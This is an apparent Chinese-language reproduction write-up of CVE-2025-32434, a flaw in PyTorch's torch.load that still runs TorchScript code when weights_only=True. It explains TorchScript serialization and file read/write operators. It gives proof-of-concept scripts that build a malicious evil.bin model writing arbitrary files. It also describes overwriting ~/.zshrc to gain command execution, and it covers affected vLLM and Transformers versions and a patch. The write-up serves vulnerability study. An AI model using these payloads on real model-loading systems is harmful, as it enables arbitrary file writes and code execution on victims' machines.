pytorch 模型加载致RCE漏洞复现 (CVE-2025-32434)
FROM blackhat 2025 USA 议题Safe Harbor or Hostile Waters: Unveiling the Hidden Perils of the TorchScript Engine in PyTorch
漏洞描述
在受影响版本中,由于torch.load()实现中针对tar格式的模型加载兼容处理逻辑实现不当,当使用安全配置参数weights_only=True时仍可能通过pickle反序列化执行任意代码。/1754964293841-5f3f7c8d-e856-451b-ad48-436e6620f67d-20250825102217139.png)
漏洞理解
Try It Out: weights_only=False
/1754964542870-5f246848-b8fb-4794-bfa0-d6baaa2df29d-20250825102213093.png)
Try It Out: weights_only=True
关键漏洞点
关键发现:
在调用weights 之前会判断是否有一个 torchscript zip ,如果有,就用torch.jit.load读取
/1754965079854-86709c6d-cb17-4624-801d-83f1260f6dae-20250825102215892.png)
TorchScript 理解
什么是 TorchScript? 是PyTorch的中间表示(Intermediate Representation)。它将PyTorch代码转换为一种可移植格式,以便在没有Python解释器的环境中(如C++和移动设备)高效执行
TorchScript的函数和类写法:
/1754965301094-f6cd1183-71bb-4837-81a4-f830f9ac906e-20250825102215616.png)
这张图展示了将一个 nn.Module 转换为 TorchScript 的过程
/1754965725767-84ebeaa2-dabf-4c8f-a786-98daf283ffac-20250825102216991.png)
/1754965842720-4301f5ff-b770-4acd-accd-786f38f6f6dd-20250825102219481.png)
/1754965831408-08164bda-400e-4037-94f8-f1a7783f2e94-20250825102217809.png)
代码首先检查 nn.Module,找出所有需要被转换的方法(行为),然后,它对找到的每一个方法,应用我们之前了解的 Function -> AST -> IR 编译流程
torch.jit.script 首先它阅读你的 Python 函数代码,理解其语法结构(Python Function -> Python AST)。然后它将这个结构翻译成TorchScript IR (Python AST -> JIT AST -> IR)。最后将这个翻译好的版本(ScriptFunction)交付
下图拆解了Serializer 将 ScriptModule 拆解成了三个主要部分,分别存放不同类型的信息:
/1754966006223-433be955-3840-4710-beff-27eb67e99214-20250825102216028.png)
- constants.pkl (存放权重)
- 存放模型的所有张量(Tensor),主要是模型的参数(如权重、偏置)和缓冲区。
- code/ (存放代码和调试信息)
- 里面存放着编译好的 IR (Intermediate Representation),也就是那个静态计算图。这才是模型在非 Python 环境中执行所依赖的“机器码”。
- data.pkl (存放其他数据)
- 存放那些非张量的属性。图中标记为 IValue,它是 TorchScript 的一个通用数据类型,可以表示数字、字符串、列表、字典等。
torch.jit.load()
下面两个图 解释如何把一个 .pt 文件重新还原成 ScriptModule
/1754966549318-76a5c541-2e5f-401a-80fe-01e682484f81-20250825102217846.png)
这个过程将分散在 data.pkl 和 code/ 中的信息组合起来,重新构建出一个可执行的 ScriptModule。
/1754966538973-8d1cb2fc-0caa-4e88-a224-02a82b90da3c-20250825102217440.png)
总结:
/1754966672205-d1303fa3-9434-4e27-8812-b1c493577af9-20250825102218320.png)
Reach main logic via ScriptModuleDeserializer::deserializeCall readArchive to read constants.pkl, convert constants to IValues by unpickling and save them to constants_table_- 程序调用
readArchive来读取.pt文件(压缩包)中的constants.pkl。然后,通过“反 pickle” (unpickling) 操作,将二进制的权重数据还原成张量对象。最后,这些张量被统一包装成IValue类型,并存入一个名为constants_table_的列表中。
- 程序调用
Call readArchive to read data.pkl, restore corresponding IValues by unpickling- 接下来,程序再次调用
readArchive来读取data.pkl文件。同样通过“反 pickle”操作,将其中存储的非张量数据还原成对应的IValue对象。
- 接下来,程序再次调用
During data.pkl unpickling, SourceImporter reads code files and constants_table_ to restore IR through parseType->findNamedType->importNamedType- 在处理
data.pkl的过程中,会触发一个叫做SourceImporter的组件。这个组件负责:- 读取
code文件: 它会去code/目录下查找并读取序列化后的代码(IR)。 - 使用
constants_table_: 它会持有对已经加载好的constants_table_的引用。 - 恢复 IR: 通过一系列内部函数调用 (
parseType,findNamedType,importNamedType),它将读取到的序列化代码重新构建成内存中可执行的 IR (计算图)。在这个过程中,它会将 IR 中对权重的引用链接到constants_table_中实际的张量。
- 读取
- 在处理
IR机制
%5 : Tensor = aten::gt(%3, %4) # poc.py:5:4
output:%5,这是一个类型为Tensor的新变量。op:aten::gt,表示“大于” (greater than)input:%3和%4,这两个是gt操作的输入# poc.py:5:4: 这是调试信息,它将这行 IR 映射回了原始 Python 源代码的位置(poc.py文件的第5行第4列)
/1754967012051-24975acb-b892-411a-923b-972dbd8b8bc1-20250825102218114.png)
解释器:一个基于栈的执行模型
/1754967020107-b5d1b60a-02d3-45fc-964e-6ec07e37e63e-20250825102219495.png)
Operator注册机制
打印的注册表如下:
/1754967261026-59a5728a-22ff-4e78-8bae-b2c981022eb7-20250825102218479.png)
可利用的Operator
/1754967362549-214d5032-e847-465a-b5f9-34547a73975a-20250825102217829.png)
写文件能力——write file: aten::save 操作符的实现流程是:从虚拟机栈上获取参数 -> 调用内部函数将要保存的对象序列化 -> 使用标准 C++ 库将序列化数据写入文件
读文件能力——read file: from_file 函数的实现流程是:创建一个直接指向文件数据的 Storage 对象 -> 在此 Storage 之上构建一个 Tensor 对象 -> 设置其元信息后返回
/1754967393064-f17787f9-c254-406d-b731-6a6cf305eb19-20250825102218637.png)
函数映射-懒加载
- 定义 (
_modules_containing_builtins):- 首先,PyTorch 在一个列表中定义了所有包含 C++ 核心功能的 Python 模块(如
torch._C._nn,torch._C._fft等)
- 首先,PyTorch 在一个列表中定义了所有包含 C++ 核心功能的 Python 模块(如
- 懒加载构建 (
_get_builtin_table):- 这个过程不是在 PyTorch 启动时就完成,而是采用懒加载模式,只在第一次需要查找时才执行
- 它会遍历第一步中定义的每一个模块
/1754967677074-399aa4b3-0828-4274-a179-1b0bd63b9717-20250825102219095.png)
C++ 回调 Python
C++ 编译器会回调到 Python _find_builtin 函数来完成查询
/1754967942656-9840bac6-1de8-4680-bfa5-39f1e5ab9c0c-20250825102219460.png)
C++ 生成调用表达式
- 入口点是
emitApplyExpr **auto sv = emitSugaredExpr(apply.callee())**: 这是第一步。它递归地调用emitSugaredExpr来处理被调用的函数本身(callee),也就是torch.addtoSugaredValue会回调 Python 的_find_builtin,查找到torch.add对应的操作符是aten::add,然后将这个信息封装成一个BuiltinFunction对象sv并返回sv是一个aten::add操作符,emitApplyExpr会继续处理这个调用的参数(x和y),然后调用sv对象的call方法
/1754968085811-beef76fa-6119-4455-861a-d3bf566fd196-20250825102219802.png)
读写文件能力
文件操作:
@torch.jit.script
def read_file(x: torch.Tensor):
return torch.from_file('/file/path', dtype=torch.long, size=100)
# read the tensor try to get actual word
@torch.jit.script
def write_file(x: torch.Tensor):
return torch.save("xxx", "/file/path")
# will write dirty characters/1754968490562-567f52ce-22a1-444c-ae5f-b3a45b34b2bb-20250825102219743.png)
漏洞利用
本地复现
pip install torch==2.5.1通过调用文件写入能力,来实现任意文件写导致RCE:
以写入 .zshrc 来攻击的例子,我们写入payload = "\nwhoami\nexit 0\n", 效果如下:
/1754975301459-a504295e-da45-480a-928f-7064dca1357d-20250825102220122.png)
通过复写 ~/.zshrc 文件,当重新加载 zsh 即可实现命令执行,从截图中可以看到成功执行了whoami命令。
vllm < v0.7.3
主分支上安装 torch 版本为 2.7.1 (无法利用了) 。需要 torch 小于 2.6.0
/1754979001254-a3ccc73d-80c3-4c5b-9fc4-1f099e3bc7ae-20250825102220820.png)
议题展示的版本为 v0.7.3 torch版本为2.5.1
/1754979432508-6032a68a-5ca6-4c08-90da-a910b17d0a03-20250825102219367.png)
pip3 install vl1m==0.7.3poc1.py:
import torch
import torch.nn as nn
class SimpleModel (nn.Module) :
def __init__(self):
super (SimpleModel, self).__init__()
def items(self):
torch. save("test\n", "/tmp/1.txt")
return torch.zeros(0)
def forward(self):
self.items()
return torch.zeros(0)
model = SimpleModel()
model_script = torch.jit.script(model)
model_script.save("evil.bin")poc2.py:
class SimpleModel(nn.Module):
def __init__(self):
super (SimpleModel, self).__init__()
@torch.jit.export
def items(self):
torch.save("test\n", "/tmp/1.txt")
return torch.zeros(0)
def forward(self):
return torch.zeros(0)exp.py:
import torch
model = torch.load('evil.bin', weights_only=True)
model()议题成功截图:
/1754980467082-a22add30-6887-4b6e-9747-46253b746e76-20250825102220122.png)
Transformers <= 4.51.3
议题演示版本:
pip install transformers==4.51.3/1754980189282-23839c3b-a02a-46f7-a1f3-ef721c26f891-20250825102222543.png)
漏洞演示:
/1754980308722-d3bfd1f3-9aad-46c6-9e36-1324412a6bed-20250825102220955.png)
本地:
/1754980378548-b0186a4f-168f-438e-85ae-ff3ae40fcb33-20250825102220228.png)
利用:
/1754980393885-935ba5f0-a50b-41e3-b2c4-98c37911cf13-20250825102221530.png)
补丁:
check_torch_load_is_safe
/1754980418873-dd753651-a6d1-4b80-aea1-da51ed82f563-20250825102222309.png)